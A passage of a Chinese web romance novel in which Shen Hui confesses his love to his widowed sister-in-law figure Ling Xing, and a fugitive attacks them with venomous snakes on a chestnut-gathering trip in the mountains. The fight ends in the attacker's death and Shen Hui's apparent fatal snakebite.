“我们是来给凌哥儿说亲的,你说要我们走就走啊?” “好歹是你哥夫,你怎么能坏他的好姻缘?” “俗话说宁拆十座庙,不毁一桩婚。你这态度赶人走,安的什么心!” 媒婆们吵吵嚷嚷,没注意到沈回越来越冷的眼神。 沈燕到底和沈回是兄妹,从小就相处,第一时间发觉她二哥状态不对。 那模样,像是要吃人。 被自己的想法震惊到,沈燕下意识想叫媒婆们赶紧闭嘴。 “二郎!” 凌星从院子里跑出来,一眼就看见人群中最高,最显眼的沈回。 在靠近沈回的短短距离,他把人从上到下打量个遍。 几个月不见,人变瘦了,也憔悴许多。 沈燕瞳孔微缩,她看见她二哥在一瞬间,周身戾气全消,冰冷的视线都染上温度。 那道温和目光的尽头,却是她的大哥夫。 不会吧…… 她二哥不会是…… 沈燕难以相信,心绪翻涌,她想上前拉住凌星,肩膀被及时按住。 转头看去,是她娘在摇头。 沈燕又看向她爹,同样轻轻摇头。 所以,爹娘是知道些什么? 这到底是怎么回事啊! 凌星记着周围有人,也知道他和沈回之间的身份,在沈回一步之外停下。 沈回低头注视着凌星,低声道:“我回来了。” 凌星勾唇轻笑。 他不敢多看沈回,确认人好好的,就移开视线,对着媒婆们道:“姻缘一事,合不合适只有我自己说了算。不好的姻缘,拆了又何妨?诸位还是不要拿庙宇与姻缘来说事的好,你们介绍的那些人,我一个都不要。” “呵。” 身后传来低沉愉悦的轻笑。 凌星只觉那声笑像是电流,让他整个背脊都忍不住紧绷。 媒婆们见凌星态度强硬,有些想劝,却见他身后的沈回,冷眼看来。 那模样当真如煞神,要将人生吞活撕。 媒婆们在沈回的冷眼下,打了个哆嗦。 众人你看看我,我看看你,最后还是叹一口气一哄而散。 若是凌星态度是想相看,就算冒着危险,她们也要说几句。 可这位凌哥儿真一点也看不上她们介绍的,八成是要和镇上那位李秀才成了。 既然如此,再多留也没意思。 还是赶紧走,也省得真惹沈二那煞神生气。 也真是奇了怪了,人家读书人一个个看着都很柔和。怎么沈家老二半点没有书生气,还是那猎户血性? 瞧着真怪吓人的。 他以后媳妇儿每天睁眼看着他,不得吓晕再睡一觉? 媒婆们嘀嘀咕咕的走远,万媒婆因屋中无人,也出了院门。 她是要找凌星继续说的。 沈回扫万媒婆一眼,没有多言,直接眼睛一闭。 “二哥!” 沈燕惊叫出声,沈回晕倒了。 凌星及时转身,只见沈回面色苍白,顺着马车滑坐。 沈家一时间乱了起来。 沈呈山,沈归还有赵长命三人一起合力,才把沈回弄进屋里躺着。 家里人出了事,没人有心思招待万媒婆。 曹满月得出空来做好表面礼节,带着歉意的请万媒婆先离开,其他事情改日再说。 万媒婆看着院子里来来回回忙碌的沈家人,也是没办法,只好也叹口气走了。 屋里,沈回衣服左腹位置渗出血迹,徐有芳吓得不轻。 她惊道:“二郎你这是怎么伤的!” 沈呈山见人脸上血色都无,叫沈归去请大夫。 却被沈回叫住。 “不能请大夫。爹娘,我的伤没什么,就是路途颠簸伤口撕裂了。撒些止血药粉就行,我想睡一会。” 他的伤口是箭伤,找大夫有隐患。 之前已经处理过,没有大碍。确实是颠簸导致撕裂,静养就好。 前面也不是全装晕,舟车劳顿,身体确实不太能撑住。 很想睡觉。 沈呈山和徐有芳都不是没经历过事的,一听就知道这个伤怕是牵扯颇多。 “行,你休息。我们先出去。” 凌星担心沈回,也只能离开。 直到凌星的背影被门扉挡住,沈回才彻底闭上眼睛昏睡过去。 他这一睡,就睡到了晚上。 左腹的伤口,沈呈山已经上过药,只是人一直没醒。 凌星躺在床上翻来覆去的睡不着,满脑子都是沈回。 今日,万媒婆说李徽缘想求娶他的时候,他虽然惊讶李徽缘竟对他有意。 但更多的是吃惊自己当时,脑海里浮现出了沈回模样。 那一刻,他无比确信,自己不想和旁人成婚。 可沈回他是要步入仕途的。 身居高位,所有的事情都会被无限放大,成为政敌攻讦的理由。 即便是他脱离沈家后,再与沈回在一处也没用,世人只会信他们想信的。 就像是王隽和谢青崖。 除了他们以外,没人愿意相信王隽与谢青崖,是在离开王家后的几年里才在一起。 总会有人为了自身利益,不惜一切余力去抹黑。 他们根本没有办法解释的清楚。 谁会相信,之前当真毫无“奸情”呢? 凌星呈大字型躺在床上,盯着床顶发呆。 也不知过了多久,觉得口渴,只好爬起来倒水喝。 瓷壶却空荡荡,并没有水。黑暗中,凌星站一会后,唉了一声。 真是没一件叫人心情好的事。 拎着瓷壶去灶屋,借着外面月光,都不必点灯。 沈回还在休息,凌星动作很轻,悄悄摸摸的进屋。 摸着黑把瓷壶放桌上,准备去柜子里摸火石,点油灯。 手碰上柜门的瞬间,凌星手腕被抓住,整个人受力转身,被前面的人往后逼退,腰背轻靠在柜子上。 肩膀被大手扣住,动弹不得。 凌星被一个高大的黑影按住,对方炽热的呼吸,熟悉的气味,让他从惊慌到放松警惕,不再挣扎。 又因过近的距离,暧昧的动作,不由心颤。 “二、二郎你……” 沈回按在凌星肩膀的手抬起,粗糙的掌心覆盖在脸上,有轻微的刺痛感。 凌星被摸的汗毛都竖起来,浑身一颤。 他觉得不对劲! 下意识屏住呼吸,不敢轻动,也不敢再说话。 只听沈回低沉沙哑的声音在耳边响起,“你若愿再嫁,我想娶你。” 凌星眼睛瞪大,脑袋空白一瞬。 随后闪过之前考虑到的许多前途利弊,既惊沈回对他有意,又怕沈回对他有意。 一时间心乱如麻,整个人被情感和理智来回拉扯。 最终还是理智战胜感情,他人都傻眼了,不可置信道:“沈回你疯了!我是你哥夫!” 若是同我在一起,你的前程不要了吗! 只是他后面那句没能说出来,就见沈回垂下眼眸。 压抑着的情绪再难抵挡,带着薄茧的指腹按压在柔软的唇上,颇有些咬牙切齿的意味。 “你拜堂都是和我拜的,算哪门子的哥夫?” 凌星唇上一痛,要往后躲,结果“咚”的一声撞柜门上。 沈回听到声,指腹离开凌星的唇肉,转而摸他的头。 凌星低头避开。 “可我就是你哥夫。” 沈回的掌心空了,细细品味一番凌星话的内容,还有语气。 他低笑着,干脆把手覆在凌星的后脑上,直接将人按入怀中。 “别怕,我不会让你受到伤害,一切交给我。” 凌星被这举动吓一跳,沈回怎么突然变得这般大胆,这般……这般的不守规矩了! “你松开我,别叫人看见了!” 凌星怕的要命,大半心神都放在门外,暧昧感全无,生怕家里有人突然过来。 要是看到这一幕,爹娘肯定会讨厌他的! 沈回弯腰,将下巴搭在凌星肩头,有气无力道:“腹部的伤很痛,让我抱一会好吗?” 凌星想问腹部的伤和抱他有什么关系,最后还是没问出来,放纵沈回抱着。 不过满脑子都是家里人别来灶屋,千万别发现他和沈回。 如凌星所愿,一直到他被沈回松开,允许回屋,家里人都没有来灶屋。 凌星再次躺在床上,脸又红又烫,心脏还砰砰狂跳,震的他身体都在晃。 一半是因为沈回的心意,另一半纯被吓的。 完了,这事他得怎么面对爹娘啊! 第二天一早,凌星顶着个黑眼圈出房门。 那憔悴的模样,像是被狐狸精吸了精气一般。 徐有芳担心的问他怎么了,是不是受凉身体不舒服。 凌星心里有愧,不敢直视徐有芳,连连摇头。 此时沈归站在灶屋喊了一声,“吃饭啦!” 凌星蜗牛一样挪去灶屋,腿灌了铅一样沉重。 突然身后有热源,耳边传来低沉的声音,“哥夫要帮我上药吗?” 凌星万万没想到沈回在他身后,像受惊的猫一样,刷一下跳出沈回两步之外。 紧张的环顾四周,发现没人,这才拒绝道:“不上!” 沈回看炸毛星星,颇为遗憾。 可惜。 不过昨晚只想着让人知道他的心意,倒是忘了说清楚,爹娘知道他的心思一事。 得找个机会说清楚才行。 不然人明明对他也有意,却见他就躲,也不是个事。 饭桌上,凌星一直没敢抬头。 而沈回的视线明晃晃,烫人的很。 徐有芳有些受不住,咳了一声,示意沈回收敛。 沈回无声道:他懂了。 徐有芳眼睛一瞪,这臭小子什么时候动的手! 怪不得星哥儿一早起来无精打采,肯定是被这小子给吓的! 沈燕注意到她娘和二哥之间的小动作,视线转而落在埋头吃饭,连头也不敢抬的大哥夫身上。 她手一抖,筷子差点掉桌上。 二哥是不是欺负大哥夫了? 第90章 第 90 章 乌雪:梆梆梆 吃饭期间, 凌星感觉的到沈回的视线一直在他身上。 因沈家人都在,他心里虚的很,不仅饭吃的快,走的还快。 同徐有芳、沈呈山打了招呼后, 便迫不及待的离开。 回到屋内, 凌星手肘撑着桌面,脑袋乱糟糟的。 而此时灶屋里, 沈回端坐在位置上, 抬眼扫向众人, 开口道:“我要娶凌星。” 他没有再喊哥夫,凌星二字磨着唇吐露, 带着缱绻爱意。 “当啷”, 沈燕手中的筷子,还是落了下去。 尚且没察觉出异样的沈归、曹满月还有赵长命三人更是目瞪口呆,僵硬的转动脖子, 看爹娘脸色。 小春和小夏不太清楚沈回话的后果,只是心里默默在想, 以后是不是要叫大伯夫为二伯夫。 沈呈山知道这一日会来的快,但没想到竟然这么快…… 对于沈回的话,徐有芳已经有了底,难怪今天看着星哥儿感觉有点不对劲。她的反应, 倒是在座的人里最镇定的。 “你的仕途真不要了?”徐有芳冷静问道。 沈回嗯一声, “本来也没多想要。” 每个人追求想要的不同, 在他看来权利需要尔虞我诈精心算计。他不喜欢这些, 劳神伤力,不自由。 若非当初在县衙看到李徽缘跨进衙门接人,他也不会生出科考念头。 家族鼎盛又如何, 一步错,所有的一切都会灰飞烟灭。 比起钟鸣鼎食,他更喜欢山间自在。 倒是与沈呈山、徐有芳是一个想法。 昨天沈回没说两句话就昏睡过去,家里也没来得及问他乡试结果。 沈呈山没先说沈回与凌星的事,而是问沈回中没中举。 “中了,后面不打算再考。”沈回如实道。 沈呈山对此有不同的想法,“你可曾想过,星哥儿的生意会越做越大,若是最后离开县城,去更远的地方。那时候的你,又当如何?” 此事沈回想过。 如果凌星因为做生意选择离开,他会辞官跟着一起。 最开始的时候,他们也是一起出摊子,一步一步发展起来的。 现在他有举人身份,不再是之前能够被任意拿捏的白身。 往后不管去哪,都不会比之前更难。 “他去哪,我就去哪。”沈回斩钉截铁道。 对此,沈呈山已经无话可说。 儿子心意已决,多说无益。 沈呈山皱眉沉声道:“星哥儿那,我和你娘是不会帮着你说好话的。如若星哥儿并不想嫁你,就算是断绝关系,我也会阻止。” 徐有芳补充了一句,“二郎,今日是你选择抛却更好的仕途,做出此等选择。日后,你便不能生出怨怪星哥儿的心思,你做的决定,没人逼你,明白吗?” “儿子知道,多谢爹娘成全。” 沈回郑重回道,随后起身离开灶屋,将空间留给家里人,慢慢消化。 人走之后,沈归、曹满月和赵长命三人,已经在巨大的震动中回神。 并且慢慢接受二哥看上大哥夫,爹娘还早已知晓的事实。 “爹,娘。”沈归六神无主的转头,“大哥夫现在的籍契关系,可是还写着沈还夫郎。你们就这样同意了?大哥那要如何交代?” 提起沈还,老两口面色凝重。 徐有芳想起沈回之前混不吝的模样,也有些气。 “你二哥他都能在你大哥坟头想他的夫郎,娘是真的没法子了。” 交代不交代的,沈回身前不想身后事,他满脑子就是想要凌星。 沈归不知道还有这茬,转念一想,又觉得这事他二哥能做得出来。 小时候他们几个小的,就更喜欢大哥。 因为二哥太冷,太凶了。 不像大哥,温文尔雅,对谁都很关心,总是笑着。 沈归心里,多少有为沈还不平。 他能完全理解接受凌星改嫁,却不能心无芥蒂的接受,二哥抢大哥的夫郎。 还早就动了心思,不知收敛,不想悔改。 家族最忌兄弟猜疑芥蒂,徐有芳了解自己的孩子,看出沈归情绪不对。 她轻叹一声,提点道:“四郎,不管怎样,你大哥已经离世两年。现在,你哥夫的选择才是最重要的。” 沈归猛然回神。 是啊,若是大哥夫真的喜欢二哥,选择二哥,那就是两情相悦。 他转头看向曹满月,就像他喜欢他媳妇一样,才不管外人怎么说,他就是要他媳妇。 世间感情,无法自控。但只要不违背良俗律法,不伤害他人就好。 大哥已经离世,哥夫有权选择任何人。 虽然说出去不太好听,不过只要大哥夫先脱离沈家籍,再与二哥成婚,完全符合律法。 问题是,他大哥夫除了一个弟弟外,再无旁的亲人。 弟弟又没到年岁立门户,差着年头呢。 户籍根本迁不出去,无处可迁啊。 凌月还有三个月就八岁,除非他二哥能再等两年多,等到凌月十岁,可以独立门户。 沈归有些奇怪,他二哥能忍得住吗? 此时的沈回正站在凌星屋外,怕把人吓着,还是老老实实喊了声,“哥夫。” 屋里撑着脑袋发呆的凌星心下一颤,听着往日里听习惯的称谓,竟是有些羞耻无措。 他、他怎么、怎么在说了那些话后,还能叫得出来! 怎么还能叫我哥夫呢! 凌星又气又恼,扭头对着门外喊道:“快别叫了!” 沈回眉头微微一挑,轻笑着答应。 “好,我不叫了。那要和我去山里捡板栗吃吗?” 板栗成熟脱落的时候,山外围的板栗树已经光秃秃,村民们不可能放过一颗板栗。 但深山里还有,沈回知道位置。 去年因为太忙没有时间去,往年他都会弄些回来,烤了全家一起吃,也算是打牙祭。 凌星穿越过来后就没有吃过板栗,不说还好,一说他就有些想香甜绵软的板栗肉。 正是吃板栗的好时候,不吃白不吃! 沈回没听到回答,但看见了门后探出的脑袋。 他脸上笑意更深,“快出来,带你去弄板栗吃。” 凌星被沈回的笑晃了一下神,他连忙低头,不敢继续看。 “可是你的伤没好。” 沈回很喜欢被凌星记挂着担心的感觉,他冷硬的声线都温和许多。 “我的伤没事,只是表面伤口撕裂一些,看着吓人罢了。” 凌星还是想让沈回在家养伤。 他很少见沈回受伤,这次去乡试,回来的这么晚,身上还带着伤,肯定是出事了。 凌星心中担忧,却不敢多问。毕竟沈回不说,就是不想说。 而沈回又了解凌星,他看出凌星想去。 自己身上的伤确实也没什么大碍。 昨天大部分都是他故意展露弱势的一面,晕睡过去也大多因为舟车劳顿,彻夜赶路累的。 选择示弱的原因,自然是为引起凌星心软心疼。 这样一来,他后面说的表明心迹的那些话,凌星听着不会太过被排斥。 虽然动了些心计,但管用。 “我想去。”沈回声音放缓,“哥夫陪我去成吗?” 凌星现在听不得哥夫两个字,他直接从屋里出来,凶了沈回一下,“都说了不要再叫了!” 沈回被凶,笑的更甚,快步跟上凌星走到他前面带路。 灶屋里沈家其他人也吃完饭出来,徐有芳看到沈回带着凌星,不太放心的问:“要去哪?” 沈回知道他娘不相信他,担心他会伤害到凌星。 为让他娘放心,垂眸回道:“去山里捡板栗。” “哦,捡板栗好啊。”徐有芳给沈归使一个眼色,“正好四郎也一起去,多弄些回来,娘做栗子糕给你们吃。” 沈归心领神会,对徐有芳郑重点头。 他一定会看好二哥的! 沈回并没有拒绝的机会,沈归一声吆喝,顺便带上了乌雪。 狗狗又壮实不少,比起之前也沉稳许多。 见到凌星和沈回虽然激动,却并没有上去扑人,只是疯狂摇晃有力的尾巴。 一下一下梆梆梆的打在沈归腿上。 搞得沈归还没走山路呢,小腿就开始疼起来。 沈归忍着腿疼去背上竹篓,很自然的插在凌星和沈回之间。 沈回对此没说什么,默默的把乌雪放在他和沈归之间。 乌雪高兴的摇尾巴。 兄弟之间暗流涌动,沈归脸色通红,疼憋的。 乌雪尾巴打人是真疼啊! 比刚刚还疼! 他都怀疑他二哥是不是趁他不注意,对乌雪下达什么奇怪指令了。 出家门走了一里路,沈归就被乌雪尾巴打了一里路。 沈回适时问沈归,“四弟要换个位置吗?” 话里意思就是换位置不挨打。 沈归沉默着挪到凌星边上。 沈回见状,低唤一声乌雪。 狗狗像是听懂人话一样,不用更多的言语,便一扭一扭的走到沈回另一边。 凌星察觉到自己与沈回之间的距离很近,行走间,布料都会擦碰在一处。 沈回递出一根树枝,对凌星道:“前面山路不好走,牵着,我带你走。” 山路确实难行,凌星没有在这些事情上犹豫太久,伸手握住树枝另一端。 沈归看他两牵个树枝,弄的和牵手一样,这气氛总觉得怪怪的。 他及时打断,“二哥,那我呢?” 沈回瞥他,“二哥让乌雪去给你领路?” 沈归又老实了,“那倒也不必,我自己能走……” 越往山里走越安静,沈回时刻注意着脚下,怕凌星会摔。 乌雪来回嗅气息,时不时的还会去撒尿打标记。 深山处的板栗树林沈回来过多次,并没有猛兽。因此他即便是身上的伤没好全,也敢带人来。 此处虽然没有猛兽,却有悬崖峭壁。 沈回提醒道:“林子比较小,那树丛后面就是悬崖,别倚靠那,会掉崖。” 凌星恍然,他说怎么这风有些大。 有了沈回的提醒,凌星和沈归都很小心,就连乌雪都离树丛有些距离。 三人一狗捡板栗,乌雪一嘴能咬好几个,都装在它背上背着的小背篓里。 那小背篓有盖子,到时候拿麻绳再捆扎一下,不怕乌雪背着会漏出来。 沈回本是想叫凌星出来,二人单独在一处待着,可以再次说清他的心意,告知凌星家里人已全部知晓。 结果多出一人一狗,乌雪就算了,沈归是真的烦。 就捡板栗的这段时间,这小子不知道盯着他看多少次。 防贼一样的盯着。 偏偏还要装做没盯,他视线一看过去,就心虚移眼,眼神乱飘。 沈回无奈转身,不想再看。 都懒得拆穿。 也就四弟妹,还有小春小夏把他四弟当个宝,会觉得他无比聪明了。 沈回弯腰,挑捡圆润饱满的板栗。 突然手上动作一顿,指尖轻抚眼前的一小片泥地。上面的杂草比较少,泥更多些。 因此泥上拓印下来的形状很清楚,这形状似乎是人的脚印。 沈回有些奇怪,此处隐蔽,又在深山。 这里除了他以外,竟然有其他人能找到?魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m【m.o.xiexs】 第 91 章【VIP】 第91章 第 91 章 四合一 三人一狗在安静的捡板栗, 乌雪嘴巴里咬着好几个板栗,跑到它的小背篓那吐进去。 之前捡的那块地方已经干净,它又往前走了一些。 记着沈回说的不能靠近树丛,因此与树丛还隔着一些距离。 正低头嗅着板栗的乌雪, 鼻子碰上板栗却没换嘴巴咬。 而是突然抬头, 对着树丛叫了两声,“汪!汪!” 三人都听见了声音, 凌星离的近, 问了一句, “怎么了乌雪?” 乌雪没有看凌星,一直对着树丛汪汪叫个不停。 三人察觉有异, 均往后退。 沈回喊道:“乌雪回来!” 边喊边朝凌星跑去, 不把人护起来,他不放心。 听到指令,乌雪压着本性往回退, 沈归把乌雪的小背篓捡起来。 他不知道树丛后有什么,但越是未知越害怕。 “乌雪快过来, 我们回家。” 沈归对乌雪招手,又担心的看向沈回和凌星,“二哥!大哥夫!你们快点过来!” “这就来!” 凌星回了一声,转头就看到沈回对他伸出手。 “来不急找树枝, 牵着我走。” 凌星尚未动作, 安静的乌雪突然又叫起来。 而沈回也察觉到树丛后不对劲。 窸窸窣窣的声音很快, 似乎是有什么动物快速跑来。 沈回拉着凌星的手就要往后撤, 半空中出现好几条蛇。 是被甩过来的。 距离把控的极好,直接落在凌星的身上。 凌星只觉得身上一重,刚要偏头看, 就听沈回道:“别动。” 沈回瞳孔骤缩,一下子就认出那是什么蛇。 头大,三角,吻尖翘,背部有棋盘交错的黑褐色花纹,加之这个时候还没冬眠的,只有五步蛇。 此蛇剧毒,但它们分布的区域沈回清楚,板栗林这从来没出现过。 还是半空飞来,定是有人投掷。 沈回想到刚刚看到的脚印,电光火石间,脑海中闪出许多画面。 一共有三条五步蛇,其中一条落在凌星身上,另外两条在二人脚边游走。 不远处的沈归吓疯了,捂着嘴不敢出声也不敢动,生怕惊扰那蛇,再把凌星和沈回给咬了。 乌雪感受到威胁,前身压低,喉咙间发出听不太清的低吼,紧盯前方,做出随时出击姿态。 凌星怕蛇,他看到了地上游走的蛇,也猜到了他自己身上还有一条。 吓的魂飞升天,身体僵硬麻木,脑袋空白,快要站不住。 蛇在身上缠绕游走,腥气阴冷,凌星只觉得浑身冰冷,张张嘴,连声音都发不出。 沈回牵着凌星的手,掌心汗湿。 紧张、害怕裹挟着他。 他怕此时的平衡被打破,怕惊吓到那三条蛇,咬上凌星。 怕的要死,指尖都在颤抖。 他不敢轻举妄动,风声大一点,都会心跳加快。 察觉到凌星的惊恐,轻轻捏一下他的手,无声道:“别怕,我在。” 简单的唇语,凌星能够看懂。 但他太害怕了,视线都有些模糊,无法集中精神。 地上的两条蛇不知是不是发现有一条在凌星身上,竟然也朝着他身上爬去。 凌星感受到鞋面有异样触感,吓得眼泪打转,却死死忍着不敢真哭出来。 担心眼泪掉落,惊扰到蛇。 沈回眉头紧皱,快速想着要怎么办。 僵持间,树丛那又有什么东西,朝着这边飞来。 只要落下,定会惊扰那三条蛇,使得它们咬人。 一瞬间,沈回松开凌星的手,左手箍着他的腰,右手单手拽掉凌星身上的蛇,直接捏成两段。 同时将爬凌星身上的两条蛇,一脚踩一个。左手用力将凌星带起来悬空往后甩,用自己的身体把他遮挡严实。 被踩住的两条蛇,爬的高度不一样。其中一条爬的慢,被沈回踩瘪身体,直接死了。 另一个是被踩住尾巴,没有受到致命伤害。前端的身体留的太长,在疼痛的瞬间,扭曲往回,张嘴要咬。 沈回力气大,把人往后甩的及时,那蛇没能咬到凌星,转头就咬了沈回的小腿。 沈回眉头一瞬间紧皱。 快速的看向凌星,只一眼又回过头。 疼痛没有让沈回松开踩住蛇尾的脚,他怕松开了这蛇会乱攻击,凌星离他最近,他不敢赌。 既然已经被咬伤,沈回没了太多的顾忌。 他弯腰掐住蛇头,将蛇提了起来。 之前沈回动作太快,凌星被甩的脑袋发晕。 回神就看到沈回手里捏着蛇,蛇尾肉烂了在滴血,蛇身疯狂扭曲,企图挣脱。 他太害怕,不敢看那蛇,抖着声道:“二郎,你快扔了它,小心别被咬到!” 沈回轻笑着安抚,“没事,我力气大,它挣脱不了。” “哥夫快和四弟回去,不然我不放心。” 凌星微愣,为什么他们先走?不是一起回去嘛? “那你呢?为什么不一起走?” 沈回盯着凌星看,将他脸上的担忧收入眼底。 他微微一笑,“行,那你站远点,我处理完事,就一起走。” 凌星总觉得沈回有些不对劲,可又说不上来,只好点点头,然后听话的走远。 等人离的距离远了,沈回才放心,喊沈归和乌雪要护好凌星。 一人一狗都给了回应之后,沈回捏着还在剧烈挣扎的五步蛇,朝着树丛走去。 刚刚落下的东西,是板栗。 树丛里不仅有人,还是针对他们的人。 沈回猜到躲藏树丛里的人是谁,黑眸冰冷,脸上更是毫无笑意,只有浓烈的杀意。 楚天赐缩在树丛里,双手捂着口鼻,大气不敢喘。 去年为了躲避官兵搜捕,他不得已逃到深山里面。 好在他命大,在这里活了下来,没有被野兽当食物给吃了。 他本来想躲几天就下山逃命,结果下山后发现赵家兄弟两都被抓,还听村子里人说,他打伤的那个孩子哥哥,与县令相识。 吓得他又跑回山上。 和县令认识的话,那肯定不会放过他。 他被通缉,连县城都出不了,下山肯定会被抓。 那人认识县令,说不定为了给弟弟报仇,会要他的命! 楚天赐越想越害怕,干脆直接在深山里过活。 他不是没遇到过野兽,但他擅长躲避。还会随身带着清理好,没有什么血腥气的肉,实在跑不掉,就把肉扔出去,转移视线。 日子久了,也习得一些投掷的好本领。 最近他看中一处洞穴,冬暖夏凉,周围还有山泉,果子树。 哪哪都好,就是有一头熊。 他肯定杀不了那熊,便想了个办法,用毒。 可他又不认识草药,更不会制毒。 就算都弄出来,还要想办法把毒弄进熊的身体里去。 而他根本就没办法靠近熊,也没那个力气弄毒箭射它。 最后想到投掷毒蛇咬熊这个办法。 他小心翼翼抓蛇,怕一条毒不死,抓三条才停手。 路过板栗林,顺手捡点板栗回去吃。 没想到竟然会有人来! 害怕被人看到的楚天赐钻进树丛里面,遮蔽身形。 观察之后发现原来来的人是沈家人! 还有那个认识县令的哥儿! 楚天赐本想躲过去就算,可当他细看,发现沈家人穿的衣服比以前更好,就连条狗活的都比他好。 心中的愤懑不平涌上头,恨意逐渐占据他的思想。 凭什么他们能活这么好?能这么开心? 笑的实在是太刺眼,要是他们能死就好了。 楚天赐带着这些想法,静待时机。期望他们靠近树丛,然后想办法把他们推悬崖之下。 没想到三人和狗都十分警觉。 尤其是那条狗,靠近树丛就闻到气味,狂吠不止的提醒。 楚天赐还以为会吸引三人前来查看,谁知他们竟如此惜命,不仅不来还要离开。 眼看人要走了,楚天赐来不急细想,直接就把三条毒蛇全部抛出去。 沈归位置远,他抛不过去。 但能抛向沈回和凌星。 在这二人之间,楚天赐下意识选择抛到凌星身上。 他怨恨凌星。 要不是凌星和县令认识,他也不至于不敢下山。 在这山上,他每天都吃不好,睡不稳。 这一切,都怪凌星! 沈回离蛇也极近,楚天赐算好了,投掷个板栗激怒蛇咬人,那么近的距离,两人都会被咬。 剩下的一人一狗,要是过来查看,他就能把他们推悬崖下。 最后再把沈回和凌星被毒死的尸体拖扔到悬崖下,就算是查到这里,也只会判定他们是捡板栗,不小心掉崖。 左右是抓不着他。 计划是计划好好的,谁成想沈回竟然会连自己命都不要,去护凌星安全。 所有的计划都成空影,还暴露了藏身之处。 楚天赐在深山活这样长的时间,对于危险感知已经很敏锐。 随着沈回的靠近,他感觉到自己的汗毛直竖,头皮发麻。 和他有一次睁眼看到老虎嗅他时,是一个感觉。 那种随时可能被咬死吃掉,对于死亡的恐惧。 楚天赐听着噼啪的断枝声,屏住呼吸,精神紧绷。 “原来在这啊。”沈回轻声道:“找到你了。” “啊!!!!!!” 楚天赐整个人被从树丛里提起来,他身上的旧衣早已脏的不能看。 因他瘦的厉害,衣服倒是没有小,只是手脚处明显短了。 身体腾空,楚天赐的腿拼命甩着挣扎,嘴巴尖叫不止。 沈回听着厌烦,直接把人按在地上,手捂住他的嘴。 把另一只手里的五步蛇,直接塞进楚天赐衣服里面。 “既然这么喜欢它,就多亲近吧。”沈回声音发冷,死死按着楚天赐,不让他挣脱。 五步蛇尾巴痛的很,在楚天赐的衣服里发狂一样,咬来咬去。 破旧的衣物下,蛇身游动。楚天赐浑身扭曲,身体剧烈的抽动。 疼!疼死了! 豆大的眼泪从充满恐惧的眼中流出,楚天赐嘴被捂住,说不了话,只有呜咽声。 一双眼睛里,除了害怕外,满是怨恨。 他要杀了沈家所有人!!! 沈回对楚天赐恶毒怨恨的视线不在意,手下力道又加重许多,不然楚天赐挣脱出来。 楚天赐渐渐没动作,他的额头冒出冷汗,唇色暗沉,脸色也逐渐青紫。 毒发了。 巨大的惊惧,让楚天赐昏厥过去。 沈回五脏六腑搅乱在一起的疼,他脱力做在地上,疼的满头是汗。 身后有脚步声传来,沈回猜到是凌星他们看到楚天赐,所以跑了过来。 趁着自己还有些力气,沈回从楚天赐怀中掏出那条五步蛇,甩到悬崖下。 杜绝它会咬到其他人的可能。 “二郎!” “二哥!” “汪汪!” 之前凌星和沈归远远看着,见沈回冷不丁在树丛里提了个人出来。 那人很瘦,看不清容貌。 但都猜出来是谁。 还以为沈回会把人带过来,没想到是把毒蛇放人怀里去了。二人吓一跳,带着乌雪连忙跑来。 凌星速度最快,他不知道为什么,总觉得心里慌慌。 而且,看沈回提人起来的时候,也感觉沈回状态不太对劲。 这是一种直觉,说不上来缘由。 越是靠近,他就越心慌。 靠近后,凌星视线往下,看到沈回小腿处的布料,竟然有两个孔洞。 黑血在往外渗透。 凌星心跳漏一拍,人直接飞扑过去,双手按在沈回的小腿上。 “二郎你怎么受伤了?是树丛里树枝刺的吗?没事的,没事。我背你回去,帮你上药。你身体好,上完药就肯定会好的。” 凌星越说,声音越低。 沈归也看到了沈回小腿上的伤口。 他背脊一僵,跌坐在地,不敢想被五步蛇咬后的后果。 颤抖的唤了一声,“二哥……” 沈回已经没力气转头看沈归,说话声音只有在他身前的凌星听得见。 “别哭。” 沈回艰难抬手,用指腹替凌星擦眼泪。 剧烈的疼痛让沈回连声线都在发抖,气息越来越弱。 他有很多话想和凌星说,也有很多话想问凌星。 想说真的很喜欢他,很早开始,就喜欢。 还想问凌星对他到底是什么感觉,愿不愿意做他的夫郎。 但现在都没必要问了。 此时的沈回在庆幸。 幸好昨天晚上,凌星没有回应他。 沈回紧紧的盯着凌星看,他的视线因毒发的缘故,已经模糊,看不清人了。 可他不愿闭眼,即便是轮廓,也想多看一会。 指腹能够感觉到湿意,沈回五脏六腑都在疼。 怎么这样能哭?会哭坏眼睛的。 他想多安慰一下凌星,让他别再哭,可他没时间了。 再说点什么吧。 可还能说什么呢? 他不能再表明心意。 又不愿凌星很快就忘记他。 沈回不甘心,他咬着牙,嘴巴里全是血腥气。 黑眸布满阴霾,失去光亮,近乎偏执的问:“我可以叫你一声星星吗?” 不再规规矩矩的叫哥夫,不叫疏离的凌哥儿,长辈亲友会叫的星哥儿。 而是叫星星。 带着缱绻爱意的,星星。 沈回嘴角溢出血,仰着头固执的等一个回应。 凌星哭的眼前模糊。 他为了能看清沈回,拼命的忍住哭。另一只手使劲的擦眼泪,连连点头。 “可以,你想叫什么就叫什么。哥夫可以,凌星可以,星哥儿可以,星星也可以。” 沈回力气越来越小,他的手在往下落。 凌星抽泣着握住他的手腕,把脸贴在他的掌心,哭着说:“我们那两个人相爱,有的会叫宝贝。沈回,我没被人这样叫过,我喜欢被这样叫。等你伤好了,你可不可以叫我宝贝?好不好?” 他同意我逾矩的要求,接受了我的爱意。沈回唇角微微上扬,喉结轻动,却发不出的声音。 喉咙间发出嗬嗬声,沈回的眼睛死死盯着凌星,想再多看一会。 凌星的眼泪滴在沈回脸上,他哭着用衣袖擦拭。 哭红的眼睛,看清了沈回最后的唇语。 “对不起。” 黑眸中的执拗消散,沈回的呼吸,胸膛的起伏,在慢慢停下。 凌星嘶喊一声,“不要!” 沈归也爬了过来,哭成泪人,喊着二哥。 凌星喊完,动作比脑子快。下意识的就按压沈回心脏,做心肺复苏。 一旁的沈归看到他对着沈回嘴巴吹气,一时间不知如何反应。 凌星无从解释,也顾不得其他。 他知道这样做也没用,但这是目前为止,他唯一能做的。 不知过了多久,沈归哑声劝道:“哥夫,停下吧。” 他后面猜到这逾矩放肆的举动,是为了救人。 可过了这么久,他二哥还是没有反应。 大哥夫也肉眼可见的力竭。 应该是没有用的。 “我背二哥下山,哥夫带着乌雪,跟着我别走远。” 沈归拼命让自己冷静,二哥最在意的就是大哥夫了,他不能让大哥夫出事。 凌星手臂有些脱力,他心口疼的要命,趴在沈回身上,哭的抽动。 他很想叫沈回醒来,可张口只有痛苦到无法压抑的哭声。似乎只有外泄出情绪,他才不会心痛的失去知觉。 乌雪绕着沈回来回走,呜咽两声后,突然对着虚空处汪汪的叫不停。 